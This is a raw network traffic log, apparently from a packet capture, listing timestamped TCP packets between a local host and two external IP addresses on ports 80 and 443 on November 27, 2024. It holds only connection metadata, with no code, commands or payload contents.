Nov 27, 2024 16:34:50.046504974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.046519041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.046582937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.047291040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.047354937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.211270094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.211375952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.211452007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.211502075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.211638927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.211740017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.211782932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.211896896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.212373972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.212373972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.212765932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.212845087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.212919950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.213073015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.213649035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.213709116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.213912964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.214050055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.214521885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.214611053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.214751959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.215461016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.215589046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.215698004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.215894938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.216341972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.216419935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.216564894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.216636896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.217297077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.217365980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.217488050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.218050003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.218189955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.218271971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.218466043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.218632936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.219124079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.219227076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.219669104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.219721079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.219983101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.220299959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.220838070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.220879078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.220890999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.221030951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.221030951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.221030951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.221744061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.221847057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.221880913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.222630978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.222671986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.223006964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.223098040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.223526955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.224184036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.224329948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.224405050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.224478960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.224493027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.224530935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.224561930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.225528955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.225569963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.225967884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.226082087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.226327896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.226341009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.226397991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.227229118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.227281094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.227333069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.228231907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.228245974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.228302002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.229028940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.229075909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.229114056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.229155064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.229917049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.230031013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.230151892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.230237961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.230838060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.230853081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.230954885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.230954885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.231858015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.232006073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.232079983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.232182026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.232662916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.232717991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.232816935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.232934952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.233532906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.233668089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.233763933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.233793020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.234764099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.234837055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.235191107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.235248089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.235616922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.235630035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.235696077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.235696077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.236411095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.236479044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.236593008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.236675024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.237324953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.237386942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.237557888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.237629890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.238164902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.238296032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.238815069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.238918066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.239162922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.239518881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.239587069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.239684105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.239959955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.240073919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.240078926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.240133047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.240993977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.241008043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.241290092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.241986990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.242001057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.242048025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.242074013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.243225098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.243240118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.243329048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.243329048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.243597031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.243693113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.244638920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.244693995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.244709969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.244749069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.244749069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.244749069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.245297909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.245366096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.245413065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.245457888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.246144056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.246185064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.246222973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.246284962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.247066021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.247118950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.247411013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.247492075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.247951031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.247999907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.248120070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.248207092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.248842001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.248929024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.249056101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.249263048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.249768019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.249855042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.249957085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.250103951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.250641108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.250724077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.250821114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.250893116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.251604080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.251888990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.252089977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.252089977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.252476931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.252554893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.252710104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.252824068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.253398895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.253473043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.253762960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.254097939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.254291058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.254354954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.254863977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.254920959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.255171061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.255335093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.255371094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.255424023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.256196976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.256326914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.256495953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.256495953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.257015944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.257030010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.257090092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.257982016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.258044004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.258088112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.258160114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.295860052 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.297411919 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.297427893 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.297959089 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.297975063 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.315648079 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.316576004 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.316593885 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.317245007 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.317250013 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.328377008 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.337408066 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.337428093 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.338083029 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.338088989 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.414706945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.414814949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.415136099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.415273905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.416115046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.416145086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.416146040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.416146040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.416207075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.416939020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.416989088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.417850018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.417876959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.417876959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.417876959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.417876959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.418164968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.418875933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.418888092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.419059992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.419059992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.419059992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.419059992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.419678926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.419864893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.420243979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.420342922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.420608997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.420989990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.421328068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.421328068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.421530008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.421675920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.421981096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.421981096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.422388077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.422471046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.422472000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.422583103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.423286915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.423423052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.423537016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.423537016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.424221039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.424597025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.424702883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.424988031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.425148964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.425231934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.425654888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.425654888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.426033974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.426323891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.426605940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.426605940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.426918030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.427151918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.427293062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.427294016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.427956104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.428026915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.428206921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.428206921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.428724051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.428845882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.428864002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.428913116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.429755926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.429806948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.429816961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.430051088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.430546045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.430810928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.431338072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.431338072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.431480885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.431571007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.432351112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.432446957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.432446957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.432446957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.432481050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.432598114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.433293104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.433391094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.433396101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.433656931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.434146881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.434401035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.435185909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.435204983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.435239077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.435239077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.435239077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.435266972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.435961008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.436049938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.436448097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.436448097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.436861992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.437012911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.437165022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.437165022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.437824965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.438023090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.438594103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.438594103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.438662052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.438761950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.439335108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.439335108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.439598083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.439610958 CET	80	49777	185.215.113.206	192.168.2.7
